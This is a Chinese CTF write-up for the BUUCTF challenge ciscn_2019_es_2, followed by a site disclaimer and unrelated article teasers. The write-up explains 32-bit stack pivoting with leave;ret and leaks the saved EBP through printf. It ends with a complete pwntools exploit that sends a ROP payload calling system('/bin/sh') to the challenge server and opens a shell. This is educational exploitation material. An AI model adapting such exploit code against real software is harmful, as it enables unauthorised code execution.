BUUCTF刷题之路--ciscn_2019_es_21

这题考察的是一个栈迁移的知识。作为入门学习栈迁移是个不可多得的好题。程序简单并且是32位的架构。保护也没有开,因此对于理解栈迁移再好不过了。看一下这题的基本信息:


栈迁移的基本原理其实就是栈的空间不够我们利用。也就是不不足以覆盖返回地址,更加不可能构造rop。因此需要迁移到空间足够大的地方去构造rop。因此我们需要能够控制ebp(64位rbp)。在汇编中,leave这个汇编指令就成为了我们的利用目标。当执行leave的时候计算机会执行两个步骤:

1.mov esp,ebp

2.pop ebp

还有就是ret指令,它将会执行如下操作:

1.pop eip

这两个指令配合着使用,能做到控制执行流并完成栈迁移。下面我们来看下IDA中的程序执行流程:


主函数会去调用vul()函数,vul函数的伪代码如下:


我们看到程序中会有一个数组s,大小是40个字节。memset函数是将s数组开始的0x20大小的空间填充成0。接着就是用户输入,大小是0x30。我们可以看到s数组在ebp-0x28的位置,但是我们最高只能输入0x30。因此我们连返回地址(ebp+4)的位置我们都够不着。更别说构造rop了。因此我们自然而然的能联想到栈迁移。我们还发现程序中有个类似后门的函数:


但是参数是错误的。并不能用。(我个人感觉这个后门是用来迷惑人的)现在我们纯手工去调试下源程序:


这里调用了第一个read函数,我输入了10个a。我们观察下栈的布局:


我们看到数组s的起始位置是ecx的值传递的。ebp中的值是一个栈上的值(old_ebp),这个值对于我们栈迁移是有用的。因此我们需要将他泄露出来。 Printf函数就是我们的利用点。他输出的时候会去找\0。如果没找到就一直输出。因此我们可以把栈上填满,然后在Printf的时候,不仅会把我们写的内容打印出来还会把栈上的东西也给打印出来:


我们可以看到在B后面连带着栈上的内容给输出了。因此我们只需要接收我们需要的部分:


讲解完如何泄露这个old_ebp。我们需要明白这个值是干嘛用的。因此再次进入调试中:


程序中,这个数组s会被用到两次(2次read函数)。也就是说这个栈空间会被再次利用。既然第一次利用空间不够,那么我们何不把这个栈扩大也就是用整一个s数组的空间来构造rop呢。画个图来解释下这个思想:




我们看到第二次我们已经将写好的payload布局在栈上了。我们泄露的地址的作用是用来诱导esp指向我们的数组s开始的位置。调试一下就会看的很清晰:


当程序走到leave的时候,我们观察此时的栈布局:


此时执行leave,这个时候ebp将会在esp的上面:


此时我们还需要一个leave,和ret的组合让栈恢复成正常的样子,因此此时esp指向的就是我们填入的0x80484b8(指向leave,ret的组合)继续跟下去:


再次执行leave:


我们看到此时esp已经指向了我们的system地址了。接着执行ret就会劫持执行流。下面的是system的参数,因为我们不能直接调用bin/sh字符串,因此我们布局的时候,需要传地址。因此才会如此布局。整个栈迁移的过程就完成了。下面是exp:

from pwn import *context.arch = 'i386'
#context.log_level = 'debug'#io=process("./ciscn_2019_es_2")io=remote('node4.buuoj.cn',28832)#gdb.attach(io)
payload1 = b'A' * (0x27) + b'B'io.send(payload1)io.recvuntil("B")old_ebp = u32(io.recv(4))
print(hex(old_ebp))#pause()system_addr = 0x08048400
leave_ret = 0x080484b8payload2 = b'aaaa' 
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(old_ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')payload2 += p32(old_ebp - 0x38) 
payload2 += p32(leave_ret) io.sendline(payload2)#pause()io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/173910.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python之yaml技术(可用于写接口自动化的测试用例文件)

一.yaml介绍 yaml文件是一种配置文件类型,相比较ini,conf配置文件来说,更加的简洁,操作也更加简单,同时可以存放不同类型的数据。 yaml使用场景 配置文件 测试用例 二.yaml语法 大小写敏感 使用缩进表示层级关系…

Pytorch深度学习实战2-1:详细推导Xavier参数初始化(附Python实现)

目录 1 参数初始化2 Xavier参数初始化原理2.1 前向传播阶段2.2 反向传播阶段2.3 可视化思考 3 Python实现 1 参数初始化 参数初始化在深度学习中起着重要的作用。在神经网络中,参数初始化是指为模型中的权重和偏置项设置初始值的过程。合适的参数初始化可以帮助模型…

单片机毕设实物买的成品,论文是自己查资料和照着实物写的

单片机毕设实物买的成品,论文是自己查资料和照着实物写的,算学术不端吗? 很多人的想法可能是这样的: 一般来说,毕业论文是独立完成的学术研究,需要表明作者自己的思考和研究成果,应该包括自己的…

Google Shopping Action

Google Shopping Action是Google推出的一项在线购物服务,可以帮助零售商将产品推广和销售到Google平台上的消费者中。通过Google Shopping Action,用户可以在谷歌搜索页面上直接购买商品,而不需要离开搜索结果页面。 Google Shopping Action的…

饺子馆外卖点餐系统小程序效果如何

餐饮行业所涵盖的细分类目非常广,同时又是经济发展的重要支撑,市场规模非常高。饺子是很多人非常喜欢吃的食物,尤其过年的时候,必是少不了几碗饺子,平时也有大量人前往饺子馆。 但相对比火锅、炒菜馆则少些竞争力&…

原创文章生成器-批量原文高质量伪原创

在信息爆炸的时代,创作者们面临的挑战愈发严峻。写一篇原创文章,不仅需要脑洞大开,还得担心自己的文字是否能够迎合读者口味。原创文章生成器只需输入标题或关键词,即可轻松生成原创文章。而与此同时,147SEO改写软件也…

Vatee万腾的数字创新征途:vatee科技力量的独特奇点

在数字化的时代浪潮中,Vatee万腾如一颗耀眼的明星,以其独特的科技奇点引领着数字创新的征途。无论是在人工智能、大数据、云计算,还是智能化领域,Vatee万腾都展现出了与众不同的创新力量,为科技征途描绘了独一无二的奇…

【Springboot系列】SpringBoot整合WebSocket,既然如此简单(含源码)

文章目录 前言:什么是WebSocket?Spring Boot中的WebSocket支持WebSocket和HTTP优劣势WebSocket的优势:1.实时性:2.较低的延迟:3.较小的数据传输量:4.更好的兼容性: HTTP的优势:1.简单…

教师如何高质量备课

备课是教学工作中不可或缺的一部分。高质量的备课不仅可以提高课堂效率,还可以更好地激发学生的学习兴趣和积极性。那么,如何高质量备课呢? 深入了解学生 备课的目的是教授知识,让学生掌握知识。因此,了解学生的需求和…

「直播预告」替代 Oracle,我们还有多长的路要走?

数字经济浪潮席卷全球,我国数字经济也进入快速发展阶段,作为数字化重要载体,国产软件的重要性不言而喻。近年来,国际局势复杂多变,在客观要求和主观需求的双重驱动下,核心技术自主可控的紧迫性也愈加凸显。…

​使用PotPlayer播放器查看软解和硬解4K高清视频时的CPU及GPU占用情况​

目录 1、问题说明 2、PotPlayer播放器介绍 3、视频的软解与硬解 4、使用PotPlayer查看4K高清视频软解和硬解时的CPU占用情况 4.1、使用软解时CPU和GPU占用情况 4.2、使用硬解时CPU和GPU占用情况 5、最后 VC常用功能开发汇总(专栏文章列表,欢迎订阅…

学嵌入式,已经会用stm32做各种小东西了,下一步是什么

学嵌入式,已经会用stm32做各种小东西了,下一步是什么,研究stm32的内部吗? 针对题主这种类型的,首先我想提出几个技术问题。 1,除了那几个常用的外设,stm32上集成的众多外设是否都有实际的使用经…

Day58权限提升-网站权限后台漏洞第三方获取

webshell 一般我们的渗透流程就是信息收集,发现漏洞,漏洞利用,一些漏洞成功之后获得一些相应的权限,还有一些是漏洞利用成功之后并没有取得的权限,而这个权限是要通过漏洞利用之后在利用其它地方取货的权限。 权限的获…

百度人工智能培训第二天笔记

参加了百度人工智能初步培训,主要是了解一下现在人工智能的基本情况,以便后续看可以参与一些啥? 下面就继续前一天的内容记录。 一、先做电动自行车的电梯里检测 先进行图片资料的上传与标注,这个昨天的最好也说了一下。 训练完后…

sql中的left join, right join 和inner join,union 与union all的用法

left join, right join 和inner join:这些都是SQL中用来连接两个或多个表的操作。 union,union all:用于合并两个或多个 SELECT 语句的结果。 但是有时候,对于Select出来的结果集不是很清楚。 假设我们有两张表。pers…

让CHAT简单说明下软件工程师的工作性质

问CHAT:软件工程师的工作性质是什么? CHAT回复:软件工程师的工作性质主要包括以下几点: 1. 解决问题:软件工程师的很大一部分工作就是解决问题,这可能是来自客户的特定需求,也可能是软件开发过…

现货黄金走势图下载与保存

MetaTrader 4 (MT4) 是一款在全球范围内广受欢迎的现货黄金交易软件,简单性和灵活性是其深受市场欢迎的原因。它的显示界面的主要部分由品种的走势图表组成,投资者可以在其中查看实时的行情走势。屏幕左上角是市场观察窗口,当中列出了平台所有…

NABOCUL集团专注科研创新 为内源护肤、护发提供更优选择

据权威媒体报道,日本知名化妆品集团NABOCUL Cosmetics株式会社研通过多年的科技创新和内源护肤研究,创新研发Olandu、TakuMin、“CIMIVOSOTUY”等核心成分,向中国消费者传递“关爱恒久之美”的理念,更好地释放内源护肤的独特魅力,为人们内源护肤、护发提供了全新选择。 据了解,…

JVM中的双亲委派模型

双亲委派模型(Parent-Delegation Model)是Java类加载器(ClassLoader)机制的一种实现方式。它是Java中实现类加载的一种层次结构模型。 双亲委派模型的工作过程是:在Java中,每个类加载器实例都有一个父类加载…

多头注意力机制基本概念

文章目录 基本概念模型小结 基本概念 我们可以用独立学习得到的h组不同的 线性投影来变换查询、键和值。 然后,这h组变换后的查询、键和值将并行地送到注意力汇聚中。 最后,将这h个注意力汇聚的输出拼接在一起, 并且通过另一个可以学习的线性…